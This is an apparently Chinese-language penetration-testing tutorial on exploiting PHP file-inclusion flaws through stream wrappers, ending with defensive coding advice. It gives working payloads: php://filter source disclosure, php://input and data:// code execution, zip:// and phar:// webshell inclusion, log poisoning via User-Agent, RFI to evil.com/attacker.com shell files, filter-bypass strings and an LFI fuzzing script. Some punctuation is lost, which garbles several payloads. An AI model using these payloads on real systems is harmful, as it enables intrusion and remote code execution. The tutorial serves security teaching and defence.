1. 项目概述从“文件包含”到“伪协议”的渗透测试敲门砖刚入行网络安全或者刚开始接触渗透测试的朋友经常会听到“文件包含漏洞”这个词感觉它既基础又有点神秘。说它基础是因为在OWASP Top 10的榜单里它常常和别的漏洞“搭伙”出现说它神秘是因为很多新手在发现一个疑似包含漏洞的点后往往不知道如何深入利用只能眼睁睁看着一个可能的高危漏洞从手边溜走。这其中PHP伪协议就是那把能帮你打开“文件包含”这扇大门并深入其腹地的万能钥匙。今天我们就来彻底拆解PHP伪协议在文件包含漏洞中的实战应用从零开始让你不仅知道有哪些协议更明白在什么场景下该用哪个怎么用以及背后那些容易被忽略的细节和“坑”。简单来说PHP伪协议是PHP语言提供的一组特殊的“流包装器”它允许你像访问普通文件一样去访问各种输入/输出流比如标准输入输出、压缩文件、远程资源甚至是PHP自身执行过程中的数据。在安全测试中攻击者正是利用了文件包含函数如include,require,include_once,require_once对本地或远程文件内容进行解析执行的特性结合伪协议来达到读取敏感文件、执行任意代码甚至攻击内网服务的目的。因此掌握PHP伪协议是每一个想精通Web渗透测试特别是PHP应用安全测试人员的必修课。无论你是刚刚拿起Burp Suite的新手还是想系统梳理知识体系的进阶者这篇内容都将带你从原理到实战走通这条必经之路。2. 核心原理与前置知识为什么文件包含如此危险在深入伪协议之前我们必须先夯实地基彻底理解文件包含漏洞为什么能成为攻击利器。很多教程一上来就罗列php://filter的Payload但如果不明白底层逻辑你永远只能做个“脚本小子”遇到变种或过滤就束手无策。2.1 文件包含漏洞的本质PHP的文件包含函数include,require等设计初衷是为了代码复用比如将数据库配置、页头页脚等公共部分写成独立文件在需要的地方包含进来。漏洞产生的根源在于这些函数包含的“文件路径”参数可以被用户控制。想象一下你家的防盗门包含函数设计成可以用钥匙文件路径打开。原本你只打算用这把钥匙开自己家的门包含header.php但如果你不小心把配钥匙的模具用户输入交给了外人他就能复制出打开你家保险箱/etc/passwd甚至邻居家大门内网服务的钥匙。这就是用户输入未经过滤或过滤不严直接拼接进包含函数导致的悲剧。包含分为两类本地文件包含LFI包含服务器本地的文件如include($_GET[‘file’] . ‘.php’);如果传入../../etc/passwd就可能读取系统密码文件。远程文件包含RFI包含远程服务器上的文件如include($_GET[‘url’]);如果传入http://evil.com/shell.txt就会执行攻击者服务器上的恶意代码。RFI的危害通常远大于LFI因为它直接导致了任意代码执行。但RFI需要allow_url_include配置为On默认自PHP 5.2起为Off因此在现代环境中较难遇到而LFI结合伪协议则成为了更主流的利用方式。2.2 PHP伪协议的角色LFI的“能力增强器”单纯的LFI可能只能读取一些.php、.txt、.log等文本文件。但有了伪协议LFI的能力就被极大地扩展了读取源代码即使服务器不解析非.php后缀的文件也能通过伪协议获取.php文件的源代码。写入文件在特定条件下可以向服务器写入文件从而制造Webshell。执行代码通过封装过滤器可以间接执行PHP代码。探测内网利用某些协议访问内部服务进行内网端口扫描或攻击。可以说伪协议是将一个中低危的LFI提升为高危甚至严重漏洞的关键催化剂。理解它们就是理解如何将攻击面最大化。3. 核心伪协议深度解析与实战利用下面我们进入核心环节逐一拆解在CTF和实战渗透中最常遇到的几个PHP伪协议。我会用“协议简介”、“利用场景”、“经典Payload”和“实战注意”的结构来讲解确保你拿到就能用。3.1 php://filter读取源代码的“万金油”这是最常用、最经典的伪协议主要用于读取文件内容特别是在获取PHP源代码时无可替代。协议简介php://filter是一种元封装器设计用于在数据流打开时应用过滤器。你可以把它想象成一个多功能水龙头过滤器水源文件流出来之前可以经过一层或多层过滤网过滤器处理比如把水变成某种颜色编码或者只让特定杂质通过。核心利用场景读取PHP等服务器端脚本文件的源代码。因为正常情况下服务器收到对.php文件的请求时会先由PHP解释器执行然后将输出结果通常是HTML发送给浏览器。你永远看不到原始的PHP代码。但通过php://filter我们可以让服务器以“读取文本内容”的方式去处理这个文件从而绕过执行直接拿到源代码。经典Payload构造与详解php://filter/readconvert.base64-encode/resourceindex.php让我们拆解这个最常用的Payloadphp://filter/协议头。read指定一个或多个过滤器。这里我们只用了一个。convert.base64-encode过滤器名称表示将资源流的内容进行base64编码。/resource指定要过滤的资源即目标文件路径这里是index.php。为什么要用base64编码直接读取php://filter/resourceindex.php行不行有时行但经常不行。因为include()函数最终还是会试图去“执行”经过过滤器处理后的数据流。如果过滤后的输出是纯PHP代码这些代码又会被再次执行你可能看到的还是执行后的结果而非代码本身。Base64编码将原始字节转换为ASCII可打印字符这样include()函数就无法将其识别为有效的PHP代码来执行而是将其作为普通文本输出。我们在浏览器或Burp Suite里看到的就是一串base64密文解码后即得源代码。多层过滤器与编码绕过php://filter支持串联多个过滤器格式为php://filter/read过滤器1|过滤器2/resource文件。这在绕过一些简单的过滤时非常有用。 例如如果WAF或代码本身过滤了base64关键字可以尝试php://filter/readconvert.iconv.UTF-8.UCS-2/resourceindex.php这个Payload使用了convert.iconv.*过滤器进行字符集转换。UCS-2编码同样会使输出变得“不可执行”从而暴露出源代码的“乱码”形式这种乱码通常可以通过逆向转换或仔细分析来还原部分信息。实操心得在测试时php://filter的Payload最好在file_get_contents()、highlight_file()或直接通过参数包含的场景下使用。如果是在严格的include中且目标文件包含有效的PHP开始标签?php即使base64编码有时也可能因服务器配置导致部分代码被解析。此时可以尝试在Payload前加上php://之前加上./或使用相对路径或者尝试zip://、phar://等协议。3.2 php://input执行代码的“直通车”这是一个极其危险的协议它允许你访问请求的原始数据即HTTP POST请求的body部分。协议简介php://input是一个只读流可以读取来自请求体raw body的原始数据。要使用它必须在php.ini中开启allow_url_include并且enctype不能是multipart/form-data。核心利用场景在存在文件包含点且allow_url_includeOn时直接执行任意PHP代码。这相当于一个无需文件上传的远程代码执行RCE。经典利用方法将包含漏洞的参数值设置为php://input。将HTTP请求方法改为POST。在POST Body中直接写入要执行的PHP代码。Burp Suite实战示例 假设存在漏洞的URL为http://target.com/page.php?filesection.php原始请求可能是GET /page.php?filesection.php HTTP/1.1攻击时我们改为POST /page.php?filephp://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 ?php system(whoami); ?这样page.php中的包含语句include($_GET[‘file’]);就会去包含php://input流的内容也就是?php system(‘whoami’); ?从而执行系统命令。重要注意事项allow_url_include默认是关闭的因此在真实网络环境中直接利用php://input的机会较少。但在一些老旧系统、特定配置的服务器或CTF比赛中仍可能遇到。务必在授权测试的范围内进行。如果遇到这是获取Shell的最快捷途径之一。3.3 file://、zip:// 与 phar://文件系统的“穿梭机”这三个协议都与本地文件系统直接相关。file://最直白的协议用于访问本地文件系统。在文件包含中它通常不是必须的因为include(‘/etc/passwd’)本身可能就有效。但明确使用file://协议有时可以绕过一些基于字符串匹配的简单过滤比如过滤了../但没过滤file://。Payload:file:///etc/passwd注意第三个斜杠代表绝对路径根目录。zip://用于访问ZIP压缩包内的文件。这是非常关键的一个协议因为它可以绕过很多文件上传的黑名单限制。假设你上传了一个ZIP文件后缀可能被允许里面包含一个shell.php。如果存在本地文件包含你就可以通过zip:///path/to/uploaded.zip%23shell.php来包含并执行其中的PHP文件。注意#在URL中需要编码为%23。路径必须是绝对路径。ZIP包必须真实有效。phar://与zip://类似但专用于PHP的归档格式PHAR。PHAR归档本身就是一个PHP文件但其内部可以包含其他文件。利用方式与zip://高度相似phar:///path/to/uploaded.phar/shell.php。phar://协议还有一个更强大的特性它能够触发PHP对象的反序列化这常常与PHP反序列化漏洞结合构成复杂的攻击链是进阶渗透中需要重点关注的点。踩坑记录使用zip://或phar://时最容易出错的就是路径和#号编码问题。在Windows系统上测试时路径写法也可能不同。务必先在本地环境用相同的PHP版本构建测试用例确保Payload有效。此外目标服务器需要开启对应的扩展zlib对于zip://通常是默认开启的。3.4 data://内嵌数据的“便携包”data://协议允许在URL中直接嵌入数据。它就像是把文件内容直接写在了URL里。协议简介遵循RFC 2397规范格式为data:[mediatype][;base64],data。核心利用场景在allow_url_includeOn时直接通过包含data://协议执行内嵌的PHP代码。它比php://input更灵活因为代码是直接写在参数里的无需修改请求方法。经典Payloaddata://text/plain,?php phpinfo();?或者更常见的base64编码形式避免特殊字符问题data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8其中PD9waHAgcGhwaW5mbygpOz8就是?php phpinfo();?的base64编码。与php://input的对比data://通过GET或POST参数传递php://input通过POST Body传递。data://更便于在单次请求中完成适合在漏洞扫描器中构造Payload。两者都需要allow_url_includeOn。4. 实战利用链与高级技巧了解了单个协议我们来看看如何在实际的渗透测试场景中将它们串联起来形成攻击链。4.1 经典攻击链从LFI到RCE这是最常见的路径目标是获得一个可交互的Webshell。信息收集发现一个本地文件包含点例如?filenews.php。读取源码使用php://filter读取网站关键源码如index.php,config.php,upload.php寻找数据库密码、其他漏洞点如文件上传或过滤逻辑。寻找写入点在源码中发现一个不受限制或限制可绕过的文件上传功能。上传恶意文件上传一个包含Webshell代码的文本文件或图片马或者上传一个包含Webshell的ZIP压缩包如果允许上传.zip。包含执行如果上传的是图片马且服务器不解析图片后缀尝试包含它?file./uploads/evil.jpg。如果失败可能服务器检查了文件头需要配合图片马技巧。更可靠的方式如果上传了ZIP包利用zip://协议包含其中的PHP文件?filezip:///var/www/html/uploads/evil.zip%23shell.php。如果发现allow_url_include为On直接使用php://input或data://执行代码。获取Webshell通过包含的代码执行命令写入一个更稳定的Webshell文件到可写目录或者建立反向连接。4.2 利用日志文件包含获取Shell这是一个非常经典的技巧当没有上传功能时它可能成为救命稻草。原理Web服务器如Apache, Nginx的访问日志、错误日志会记录每一个请求的详细信息包括User-Agent、Referer等头部字段。这些日志文件通常Web用户可读。找到日志路径通过LFI读取/etc/apache2/apache2.conf,/etc/nginx/nginx.conf或/proc/self/fd/下的文件描述符等信息推测或确定日志文件位置常见如/var/log/apache2/access.log。污染日志构造一个特殊的HTTP请求将PHP代码写入User-Agent或Referer字段。例如GET / HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[‘cmd’]);?包含日志文件然后利用包含漏洞去包含这个日志文件?file/var/log/apache2/access.log。由于日志文件中包含了我们注入的PHP代码它就会被包含并执行。执行命令现在包含日志文件的同时可以传递cmd参数?file/var/log/apache2/access.logcmdid。实操心得日志文件通常很大包含执行可能会超时或导致错误。可以先尝试包含error.log可能更小或者先写入一个下载执行命令到小文件。另外现代服务器可能会对日志中的特殊字符进行编码导致代码无法执行需要测试。/proc/self/environ也是一个类似的包含目标它存储了当前进程的环境变量其中HTTP_USER_AGENT等同样可控。4.3 利用/proc目录进行信息收集Linux系统的/proc是一个虚拟文件系统提供了大量关于内核和进程的信息。在文件包含中它是信息收集的宝库。/proc/self/cwd/指向当前进程的工作目录通常是Web根目录。可以尝试?file/proc/self/cwd/index.php来读取源码有时能绕过一些路径限制。/proc/self/environ如前所述包含环境变量可能包含User-Agent等可控字段。/proc/self/fd/[数字]文件描述符。数字通常较小可以爆破如0,1,2,3…。这些描述符可能指向当前打开的文件比如访问日志、错误日志甚至是包含漏洞点本身的源码文件。通过读取这些文件描述符有时能获得意想不到的信息。/proc/version,/proc/cpuinfo收集系统版本和CPU信息为后续可能的提权做准备。5. 防御绕过与过滤对抗在实际测试中开发人员往往会加入一些过滤机制。我们需要掌握常见的绕过技巧。5.1 常见过滤与绕过方法过滤方式示例代码绕过思路与Payload示例后缀拼接include($_GET[‘file’] . ‘.php’);利用%00截断PHP5.3.4、路径长度截断、或使用php://filter等不需要后缀的协议。?filephp://filter/resource/etc/passwd关键字过滤过滤../,php,input,data等使用URL编码、双重编码、大小写变换、插入空字符。?file….//….//etc/passwd,?filepHp://FilTer/…,?filedata://text/plain;base64,PD8…(如果base64没被过滤)协议白名单只允许包含http://或特定域名如果allow_url_include为On可尝试包含http://attacker.com/shell.txt(RFI)。或者利用本地文件包含配合php://filter读取源码寻找其他漏洞。目录限制限制包含文件必须在./includes/下使用….//进行目录遍历跳出限制。或者利用zip://协议如果能把压缩包上传到该目录下。5.2 编码与转换技巧这是绕过WAF和简单过滤的高级手段。多重编码某些WAF只解码一次。php://filter可以写成php://filter(URL编码一次) 或%70%68%70%3a%2f%2f%66%69%6c%74%65%72(每个字符URL编码)。利用convert.iconv.*过滤器在php://filter中除了convert.base64-encodeconvert.iconv.*系列过滤器功能强大。例如convert.iconv.UTF-8.UTF-16LE可以将Payload转换成UTF-16小端序可能绕过基于正则表达式的关键字检测。你需要将最终的Payload进行相应的编码转换。协议组合在某些极其罕见的情况下可以尝试嵌套协议但PHP通常不支持。一个综合绕过示例 假设代码为include(‘./pages/’ . str_replace(‘…’, ‘’, $_GET[‘file’]) . ‘.php’);它过滤了..并拼接.php。 绕过思路使用zip://协议它不依赖路径中的..。我们需要上传一个ZIP假设我们通过其他漏洞如上传头像将evil.zip上传到了/var/www/html/uploads/。构造Payload?filezip:///var/www/html/uploads/evil.zip%23shell注意这里最终拼接成./pages/zip:///var/www/html/uploads/evil.zip%23shell.php这显然不对。关键在于我们需要让包含路径跳出./pages/目录。由于过滤了..我们尝试使用绝对路径。但代码在./pages/后拼接我们能否让zip://协议部分被正确解析实际上更可行的办法是寻找不需要跳出pages目录的方法。或者重新审视漏洞点也许str_replace只替换一次我们可以用….//来绕过它被替换一次后变成../。这个例子说明了绕过需要结合具体代码逻辑进行灵活思考。6. 实战工具与自动化测试手动构造Payload虽然灵活但效率低下。在实际渗透测试中我们借助工具。Burp Suite Intruder用途对文件包含参数进行模糊测试Fuzzing快速发现可读文件。Payload Sets使用包含常见路径/etc/passwd,/proc/self/environ, 各种日志路径和伪协议Payload的字典。Grep Match设置匹配规则如响应中包含root:x:或?php等用于识别成功读取。FFUF / Dirsearch / Gobuster这些是目录爆破工具但在文件包含中可以用于爆破/proc/self/fd/下的文件描述符数字或者爆破可能的日志文件路径。命令示例ffuf -u “http://target.com/vuln.php?file/proc/self/fd/FUZZ” -w numbers.txt -fs 0(过滤掉大小为0的响应)。自定义Python脚本 对于复杂的编码绕过或特定场景编写脚本是最高效的。import requests import base64 url “http://target.com/page.php” param “file” # 测试基础LFI test_files [‘../../../../etc/passwd’, ‘….//….//etc/passwd’] # 测试php://filter php_file “index.php” filter_payloads [ f“php://filter/readconvert.base64-encode/resource{php_file}”, f“php://filter/readconvert.iconv.UTF-8.UCS-2/resource{php_file}”, # … 可以添加更多过滤器组合 ] # 测试zip:// (需要提前知道zip路径) # zip_payload “zip:///tmp/evil.zip%23shell.php” all_payloads test_files filter_payloads for payload in all_payloads: params {param: payload} try: resp requests.get(url, paramsparams, timeout5) if resp.status_code 200: # 简单的检测逻辑 if “root:” in resp.text: print(f“[] LFI可能成功: {payload}”) print(resp.text[:500]) elif “PD9waHA” in resp.text or “?php” in resp.text: print(f“[] 可能读取到PHP源码 (需解码): {payload}”) # 尝试解码base64 if “convert.base64-encode” in payload: try: # 这里需要从响应中提取base64部分这是一个简化示例 print(base64.b64decode(resp.text.split(‘\n’)[-2]).decode(‘utf-8’, errors‘ignore’)[:200]) except: pass except Exception as e: print(f“[-] 请求失败 {payload}: {e}”)7. 防御方案与安全开发建议作为渗透测试者了解如何攻击更要理解如何防御。这样才能在报告中给出切实可行的修复建议。白名单制度这是最有效的方法。不要使用用户输入直接拼接文件路径。如果必须动态包含应基于一个预定义的、安全的映射列表白名单。$allowed_pages [‘home’ ‘home.php’, ‘about’ ‘about.php’, ‘contact’ ‘contact.php’]; $page $_GET[‘page’]; if (array_key_exists($page, $allowed_pages)) { include(‘./templates/’ . $allowed_pages[$page]); } else { include(‘./templates/error.php’); }严格路径控制使用basename()函数获取文件名去除路径。使用realpath()检查解析后的真实路径确保其在允许的目录内。$file $_GET[‘file’]; $base_dir ‘/var/www/html/includes/’; $real_path realpath($base_dir . $file); if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(‘非法访问’); }关闭危险配置在php.ini中确保allow_url_fopen Off和allow_url_include Off。这是防止RFI和php://input/data://协议利用的根本。将open_basedir设置为必要的目录范围限制PHP可访问的文件系统区域。过滤与编码虽然不如白名单可靠但可以过滤../、php://、data://、zip://、phar://等危险字符串。注意使用循环过滤或正则表达式确保完全过滤并警惕绕过技巧。对输出进行编码防止文件内容被直接执行但这治标不治本。使用安全的函数如果只是需要读取文件内容而不执行使用file_get_contents()或fread()等函数并严格校验路径比使用include/require更安全。文件包含漏洞的挖掘和利用是一个深度与广度并存的领域。伪协议是其中的核心武器库。从最基础的php://filter读源码到利用日志文件包含获取Shell再到复杂的编码绕过每一步都需要对PHP特性、服务器配置和网络协议有扎实的理解。真正的精通不在于记住所有Payload而在于面对一个黑盒系统时能根据有限的信息错误回显、页面行为、已知文件快速构建出测试链并灵活调整策略。我个人的习惯是在测试任何一个文件包含点时都会按“信息收集-源码读取-寻找写入点-尝试包含执行”这条主线进行同时脑海中随时备着filter、input、zip、data这几把钥匙看哪一把能打开当前的锁。最后务必牢记授权测试原则所有的技术都应在合法合规的范围内学习和使用。